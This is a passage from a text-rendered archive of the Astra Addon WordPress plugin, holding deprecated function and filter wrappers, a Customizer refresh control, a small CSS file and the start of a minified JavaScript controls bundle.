__FUNCTION__, '3.6.2', 'astra_addon_mobile_header_spacing_dynamic_css()' ); return astra_addon_mobile_header_spacing_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_header_dynamic_css function. * * Astra's old header mobile layout specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_header_dynamic_css() * * @return string */ function astra_ext_mobile_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_header_dynamic_css()' ); return astra_addon_mobile_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mega_menu_dynamic_css function. * * Megamenu dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mega_menu_dynamic_css() * * @return string */ function astra_ext_mega_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mega_menu_dynamic_css()' ); return astra_addon_mega_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_scroll_to_top_dynamic_css function. * * Scroll to top ext dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_scroll_to_top_dynamic_css() * * @return string */ function astra_ext_scroll_to_top_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_scroll_to_top_dynamic_css()' ); return astra_addon_scroll_to_top_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_fb_button_dynamic_css function. * * Footer builder - Button dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_button_dynamic_css() * * @return string */ function astra_ext_fb_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_button_dynamic_css()' ); return astra_addon_footer_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_fb_divider_dynamic_css function. * * Footer builder - Divider dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_divider_dynamic_css() * * @return string */ function astra_fb_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_divider_dynamic_css()' ); return astra_addon_footer_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_fb_lang_switcher_dynamic_css function. * * Footer builder - Language switcher dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_lang_switcher_dynamic_css() * * @return string */ function astra_fb_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_lang_switcher_dynamic_css()' ); return astra_addon_footer_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_footer_social_dynamic_css function. * * Footer builder - Social dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_footer_social_dynamic_css() * * @return string */ function astra_footer_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_footer_social_dynamic_css()' ); return astra_addon_footer_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_hb_divider_dynamic_css function. * * Header builder - Divider dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_divider_dynamic_css() * * @return string */ function astra_hb_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_divider_dynamic_css()' ); return astra_addon_header_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_hb_button_dynamic_css function. * * Footer builder - Social dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_button_dynamic_css() * * @return string */ function astra_ext_hb_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_button_dynamic_css()' ); return astra_addon_header_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_hb_lang_switcher_dynamic_css function. * * Header builder - Language switcher dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_lang_switcher_dynamic_css() * * @return string */ function astra_hb_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_lang_switcher_dynamic_css()' ); return astra_addon_header_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_hb_menu_dynamic_css function. * * Header builder - Menu dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_menu_dynamic_css() * * @return string */ function astra_ext_hb_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_menu_dynamic_css()' ); return astra_addon_header_menu_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_header_social_dynamic_css function. * * Header builder - Social dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_social_dynamic_css() * * @return string */ function astra_header_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_social_dynamic_css()' ); return astra_addon_header_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } deprecated/deprecated-filters.php 0000666 00000041303 15165730730 0013137 0 ustar 00 <?php /** * Deprecated Filters of Astra Addon. * * @package Astra * @link https://wpastra.com/ * @since Astra 3.5.7 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( function_exists( 'astra_apply_filters_deprecated' ) ) { /** * Astra search results post type filter added for AJAX action * * @since 3.5.7 */ $astra_addon_post_type_condition = 'any'; astra_apply_filters_deprecated( 'astra_infinite_pagination_post_type', array( $astra_addon_post_type_condition ), '3.5.7' ); } // Deprecating astra_bb_render_content_by_id filter. add_filter( 'astra_addon_bb_render_content_by_id', 'astra_deprecated_astra_bb_render_content_by_id_filter', 10, 1 ); /** * Render Beaver Builder content by ID. * * @since 3.6.2 * @param boolean $render_content true | false. * @return boolean true for enabled | false for disable. * * @see astra_addon_bb_render_content_by_id */ function astra_deprecated_astra_bb_render_content_by_id_filter( $render_content ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_bb_render_content_by_id', array( $render_content ), '3.6.2', 'astra_addon_bb_render_content_by_id', '' ); } // Deprecating astra_get_assets_uploads_dir filter. add_filter( 'astra_addon_get_assets_uploads_dir', 'astra_deprecated_astra_get_assets_uploads_dir_filter', 10, 1 ); /** * Uplods astra assets dir data * * @since 3.6.2 * @param string $assets_dir directory name to be created in the WordPress uploads directory. * @return array Includes path & url. * * @see astra_addon_get_assets_uploads_dir */ function astra_deprecated_astra_get_assets_uploads_dir_filter( $assets_dir ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_get_assets_uploads_dir', array( $assets_dir ), '3.6.2', 'astra_addon_get_assets_uploads_dir', '' ); } // Deprecating astra_pro_show_branding filter. add_filter( 'astra_addon_show_branding', 'astra_deprecated_astra_pro_show_branding_filter', 10, 1 ); /** * Whitelabel branding markup. * * @since 3.6.2 * @param boolean $show_branding true | false. * @return boolean true for showing | false for hiding branding markup. * * @see astra_addon_show_branding */ function astra_deprecated_astra_pro_show_branding_filter( $show_branding ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_pro_show_branding', array( $show_branding ), '3.6.2', 'astra_addon_show_branding', '' ); } // Deprecating astra_dynamic_css filter. add_filter( 'astra_addon_dynamic_css', 'astra_deprecated_astra_dynamic_css_filter', 10, 1 ); /** * Dynamic CSS to be enqueue. * * @since 3.6.2 * @param string $dynamic_css Parsed CSS. * @return string * * @see astra_addon_dynamic_css */ function astra_deprecated_astra_dynamic_css_filter( $dynamic_css ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_dynamic_css', array( $dynamic_css ), '3.6.2', 'astra_addon_dynamic_css', '' ); } // Deprecating astra_add_css_file filter. add_filter( 'astra_addon_add_css_file', 'astra_deprecated_astra_add_css_file_filter', 10, 1 ); /** * Ading custom CSS file privilege. * * @since 3.6.2 * @param array $css_files All stylesheets. * * @see astra_addon_add_css_file */ function astra_deprecated_astra_add_css_file_filter( $css_files ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_add_css_file', array( $css_files ), '3.6.2', 'astra_addon_add_css_file', '' ); } // Deprecating astra_add_js_file filter. add_filter( 'astra_addon_add_js_file', 'astra_deprecated_astra_add_js_file_filter', 10, 1 ); /** * Ading custom JS file privilege. * * @since 3.6.2 * @param array $js_files All scripts. * * @see astra_addon_add_js_file */ function astra_deprecated_astra_add_js_file_filter( $js_files ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_add_js_file', array( $js_files ), '3.6.2', 'astra_addon_add_js_file', '' ); } // Deprecating astra_add_dependent_js_file filter. add_filter( 'astra_addon_add_dependent_js_file', 'astra_deprecated_astra_add_dependent_js_file_filter', 10, 1 ); /** * Get dependent JS files to generate. * * @since 3.6.2 * @param array $dependent_js_files Dependent script array. * * @see astra_addon_add_dependent_js_file */ function astra_deprecated_astra_add_dependent_js_file_filter( $dependent_js_files ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_add_dependent_js_file', array( $dependent_js_files ), '3.6.2', 'astra_addon_add_dependent_js_file', '' ); } // Deprecating astra_render_css filter. add_filter( 'astra_addon_render_css', 'astra_deprecated_astra_render_css_filter', 10, 1 ); /** * To be render dynamic CSS. * * @since 3.6.2 * @param array $css Dynamic CSS. * * @see astra_addon_render_css */ function astra_deprecated_astra_render_css_filter( $css ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_render_css', array( $css ), '3.6.2', 'astra_addon_render_css', '' ); } // Deprecating astra_render_js filter. add_filter( 'astra_addon_render_js', 'astra_deprecated_astra_render_js_filter', 10, 1 ); /** * To be render dynamic JS. * * @since 3.6.2 * @param array $js Dynamic JS. * * @see astra_addon_render_js */ function astra_deprecated_astra_render_js_filter( $js ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_render_js', array( $js ), '3.6.2', 'astra_addon_render_js', '' ); } // Deprecating astra_languages_directory filter. add_filter( 'astra_addon_languages_directory', 'astra_deprecated_astra_languages_directory_filter', 10, 1 ); /** * Plugin language directory. * * @since 3.6.2 * @param string $lang_dir The languages directory path. * @return string $lang_dir The languages directory path. * * @see astra_addon_languages_directory */ function astra_deprecated_astra_languages_directory_filter( $lang_dir ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_languages_directory', array( $lang_dir ), '3.6.2', 'astra_addon_languages_directory', '' ); } // Deprecating astra_ext_default_addons filter. add_filter( 'astra_addon_ext_default_addons', 'astra_deprecated_astra_ext_default_addons_filter', 10, 1 ); /** * Default addon list in Astra Addon. * * @since 3.6.2 * @param array $default_addons Default extensions from Astra Pro. * * @see astra_addon_ext_default_addons */ function astra_deprecated_astra_ext_default_addons_filter( $default_addons ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_ext_default_addons', array( $default_addons ), '3.6.2', 'astra_addon_ext_default_addons', '' ); } // Deprecating astra_get_addons filter. add_filter( 'astra_addon_get_addons', 'astra_deprecated_astra_get_addons_filter', 10, 1 ); /** * Astra addon's all modules list. * * @since 3.6.2 * @param array $extensions All Astra Pro's extensions. * * @see astra_addon_get_addons */ function astra_deprecated_astra_get_addons_filter( $extensions ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_get_addons', array( $extensions ), '3.6.2', 'astra_addon_get_addons', '' ); } // Deprecating astra_ext_enabled_extensions filter. add_filter( 'astra_addon_enabled_extensions', 'astra_deprecated_astra_ext_enabled_extensions_filter', 10, 1 ); /** * Astra addon's all active extensions. * * @since 3.6.2 * @param array $active_addons Astra Pro's active extensions. * * @see astra_addon_enabled_extensions */ function astra_deprecated_astra_ext_enabled_extensions_filter( $active_addons ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_ext_enabled_extensions', array( $active_addons ), '3.6.2', 'astra_addon_enabled_extensions', '' ); } // Deprecating astra_custom_404_options filter. add_filter( 'astra_addon_custom_404_options', 'astra_deprecated_astra_custom_404_options_filter', 10, 1 ); /** * Provide Custom 404 data array(). * * @since 3.6.2 * @param array $options 404 layout options. * * @see astra_addon_custom_404_options */ function astra_deprecated_astra_custom_404_options_filter( $options ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_custom_404_options', array( $options ), '3.6.2', 'astra_addon_custom_404_options', '' ); } // Deprecating astra_cache_asset_query_var filter. add_filter( 'astra_addon_cache_asset_query_var', 'astra_deprecated_astra_cache_asset_query_var_filter', 10, 1 ); /** * Get Current query type. * * @since 3.6.2 * @param string $slug single|archive. * * @see astra_addon_cache_asset_query_var */ function astra_deprecated_astra_cache_asset_query_var_filter( $slug ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_cache_asset_query_var', array( $slug ), '3.6.2', 'astra_addon_cache_asset_query_var', '' ); } // Deprecating astra_cache_asset_type filter. add_filter( 'astra_addon_cache_asset_type', 'astra_deprecated_astra_cache_asset_type_filter', 10, 1 ); /** * Get the archive title. * * @since 3.6.2 * @param string $title archive title. * @return string $title Returns the archive title. * * @see astra_addon_cache_asset_type */ function astra_deprecated_astra_cache_asset_type_filter( $title ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_cache_asset_type', array( $title ), '3.6.2', 'astra_addon_cache_asset_type', '' ); } // Deprecating astra_load_dynamic_css_inline filter. add_filter( 'astra_addon_load_dynamic_css_inline', 'astra_deprecated_astra_load_dynamic_css_inline_filter', 10, 1 ); /** * Enqueue the assets inline. * * @since 3.6.2 * @param bool $load_inline True|False. * * @see astra_addon_load_dynamic_css_inline */ function astra_deprecated_astra_load_dynamic_css_inline_filter( $load_inline ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_load_dynamic_css_inline', array( $load_inline ), '3.6.2', 'astra_addon_load_dynamic_css_inline', '' ); } // Deprecating astra_flags_svg filter. add_filter( 'astra_addon_flags_svg', 'astra_deprecated_astra_flags_svg_filter', 10, 1 ); /** * Builder components SVG icons. * * @since 3.6.2 * @param bool $svg_icons Component's SVG icons. * * @see astra_addon_flags_svg */ function astra_deprecated_astra_flags_svg_filter( $svg_icons ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_flags_svg', array( $svg_icons ), '3.6.2', 'astra_addon_flags_svg', '' ); } // Deprecating astra_display_on_list filter. add_filter( 'astra_addon_display_on_list', 'astra_deprecated_astra_display_on_list_filter', 10, 1 ); /** * Filter options displayed in the display conditions select field of Display conditions. * * @since 3.6.2 * @param array $selection_options Display conditions. * * @see astra_addon_display_on_list */ function astra_deprecated_astra_display_on_list_filter( $selection_options ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_display_on_list', array( $selection_options ), '3.6.2', 'astra_addon_display_on_list', '' ); } // Deprecating astra_location_rule_post_types filter. add_filter( 'astra_addon_location_rule_post_types', 'astra_deprecated_astra_location_rule_post_types_filter', 10, 1 ); /** * Get location selection post types. * * @since 3.6.2 * @param array $post_types Post tyoes based on to be targeted locations. * * @see astra_addon_location_rule_post_types */ function astra_deprecated_astra_location_rule_post_types_filter( $post_types ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_location_rule_post_types', array( $post_types ), '3.6.2', 'astra_addon_location_rule_post_types', '' ); } // Deprecating astra_user_roles_list filter. add_filter( 'astra_addon_user_roles_list', 'astra_deprecated_astra_user_roles_list_filter', 10, 1 ); /** * Filter options displayed in the user select field of Display conditions. * * @since 3.6.2 * @param array $selection_options User list options. * * @see astra_addon_user_roles_list */ function astra_deprecated_astra_user_roles_list_filter( $selection_options ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_user_roles_list', array( $selection_options ), '3.6.2', 'astra_addon_user_roles_list', '' ); } // Deprecating astra_target_page_settings filter. add_filter( 'astra_addon_target_page_settings', 'astra_deprecated_astra_target_page_settings_filter', 10, 2 ); /** * Targeted page|rule setting. * * @since 3.6.2 * @param array $current_layout Active custom layout. * @param array $layout_id Current layout ID. * * @return int|boolean If the current layout is to be displayed it will be returned back else a boolean will be passed. * * @see astra_addon_target_page_settings */ function astra_deprecated_astra_target_page_settings_filter( $current_layout, $layout_id ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_target_page_settings', array( $current_layout, $layout_id ), '3.6.2', 'astra_addon_target_page_settings', '' ); } // Deprecating astra_get_display_posts_by_conditions filter. add_filter( 'astra_addon_get_display_posts_by_conditions', 'astra_deprecated_astra_get_display_posts_by_conditions_filter', 10, 2 ); /** * Get posts by conditions * * @since 3.6.2 * @param array $current_page_data Passed query data. * @param string $post_type Post Type. * * @return object Posts. * * @see astra_addon_get_display_posts_by_conditions */ function astra_deprecated_astra_get_display_posts_by_conditions_filter( $current_page_data, $post_type ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_get_display_posts_by_conditions', array( $current_page_data, $post_type ), '3.6.2', 'astra_addon_get_display_posts_by_conditions', '' ); } // Deprecating astra_meta_args_post_by_condition filter. add_filter( 'astra_addon_meta_args_post_by_condition', 'astra_deprecated_astra_meta_args_post_by_condition_filter', 10, 3 ); /** * Get posts by conditions * * @since 3.6.2 * @param array $meta_args Metadata of custom layout. * @param array $q_obj Passed query object. * @param string $current_post_id Current Post Type. * * @return object Posts. * * @see astra_addon_meta_args_post_by_condition */ function astra_deprecated_astra_meta_args_post_by_condition_filter( $meta_args, $q_obj, $current_post_id ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_meta_args_post_by_condition', array( $meta_args, $q_obj, $current_post_id ), '3.6.2', 'astra_addon_meta_args_post_by_condition', '' ); } // Deprecating astra_pro_white_label_add_form filter. add_filter( 'astra_addon_white_label_add_form', 'astra_deprecated_astra_pro_white_label_add_form_filter', 10, 1 ); /** * Provide White Label structure markup. * * @since 3.6.2 * @param array $markup form markup. * * @return array Brading array * * @see astra_addon_white_label_add_form */ function astra_deprecated_astra_pro_white_label_add_form_filter( $markup ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound return astra_apply_filters_deprecated( 'astra_pro_white_label_add_form', array( $markup ), '3.6.2', 'astra_addon_white_label_add_form', '' ); } customizer/controls/class-astra-control-customizer-refresh.php 0000666 00000003323 15165730730 0021071 0 ustar 00 <?php /** * Customizer Control: Customizer Refresh * * @package Astra * @link https://wpastra.com/ * @since 1.5.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Field overrides. */ if ( ! class_exists( 'Astra_Control_Customizer_Refresh' ) && class_exists( 'WP_Customize_Control' ) ) : /** * Color control (alpha). */ // @codingStandardsIgnoreStart class Astra_Control_Customizer_Refresh extends WP_Customize_Control { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * The control type. * * @var string */ public $type = 'ast-customizer-refresh'; /** * The color with opacity rgba type. * * @var string */ public $class = ''; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['class'] = $this->class; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() */ protected function content_template() { ?> <a class="button {{{ data.class }}}" onclick="wp.customize.previewer.refresh();" href="#">{{{ data.label }}}</a> <?php } /** * Render the control's content. * * @see WP_Customize_Control::render_content() */ protected function render_content() {} } endif; customizer/assets/css/customizer.css 0000666 00000000414 15165730730 0013772 0 ustar 00 .ast-customizer-notice { margin: -20px -12px 5px -12px; padding: 15px; font-size: 14px; background-color: #0085ba; color: #fff; border-bottom: 1px solid #006799; } .ast-customizer-notice a { color: white; font-weight: bold; } customizer/assets/js/custom-controls.min.js 0000666 00000200113 15165730730 0015171 0 ustar 00 !function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:o})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(o,r,function(t){return e[t]}.bind(null,r));return o},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=16)}([function(e,t){!function(){e.exports=this.wp.element}()},function(e,t){!function(){e.exports=this.React}()},function(e,t,n){var o=n(6),r=n(7),a=n(8),i=n(10);e.exports=function(e,t){return o(e)||r(e,t)||a(e,t)||i()}},function(e,t){e.exports=function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}},function(e,t,n){e.exports=n(11)()},function(e,t,n){var o=S(n(13)),r=n(1),a=r.Children,i=r.cloneElement,l=r.Component,s=r.createElement,c=r.createRef,u=S(n(14)),d=n(15),f=S(d);t.Sortable=f;var p=d.Direction;t.Direction=p;var h=d.DOMRect;t.DOMRect=h;var v=d.GroupOptions;t.GroupOptions=v;var g=d.MoveEvent;t.MoveEvent=g;var m=d.Options;t.Options=m;var b=d.PullResult;t.PullResult=b;var y=d.PutResult;t.PutResult=y;var w=d.SortableEvent;t.SortableEvent=w;var E=d.SortableOptions;t.SortableOptions=E;var O=d.Utils;function S(e){return e&&e.__esModule?e.default:e}function D(e){return function(e){if(Array.isArray(e))return C(e)}(e)||function(e){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return C(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?C(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function C(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}function _(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function x(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_(Object(n),!0).forEach((function(t){P(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function P(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function I(e){null!==e.parentElement&&e.parentElement.removeChild(e)}function T(e){e.forEach((function(e){return I(e.element)}))}function j(e){e.forEach((function(e){var t,n,o,r;t=e.parentElement,n=e.element,o=e.oldIndex,r=t.children[o]||null,t.insertBefore(n,r)}))}function M(e,t){var n=N(e),o={parentElement:e.from},r=[];switch(n){case"normal":r=[{element:e.item,newIndex:e.newIndex,oldIndex:e.oldIndex,parentElement:e.from}];break;case"swap":r=[x({element:e.item,oldIndex:e.oldIndex,newIndex:e.newIndex},o),x({element:e.swapItem,oldIndex:e.newIndex,newIndex:e.oldIndex},o)];break;case"multidrag":r=e.oldIndicies.map((function(t,n){return x({element:t.multiDragElement,oldIndex:t.index,newIndex:e.newIndicies[n].index},o)}))}return function(e,t){return e.map((function(e){return x(x({},e),{},{item:t[e.oldIndex]})})).sort((function(e,t){return e.oldIndex-t.oldIndex}))}(r,t)}function A(e,t){var n=D(t);return e.concat().reverse().forEach((function(e){return n.splice(e.oldIndex,1)})),n}function k(e,t,n,o){var r=D(t);return e.forEach((function(e){var t=o&&n&&o(e.item,n);r.splice(e.newIndex,0,t||e.item)})),r}function N(e){return e.oldIndicies&&e.oldIndicies.length>0?"multidrag":e.swapItem?"swap":"normal"}function R(e){return(R="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function L(e){return function(e){if(Array.isArray(e))return B(e)}(e)||function(e){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return B(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?B(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function B(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return 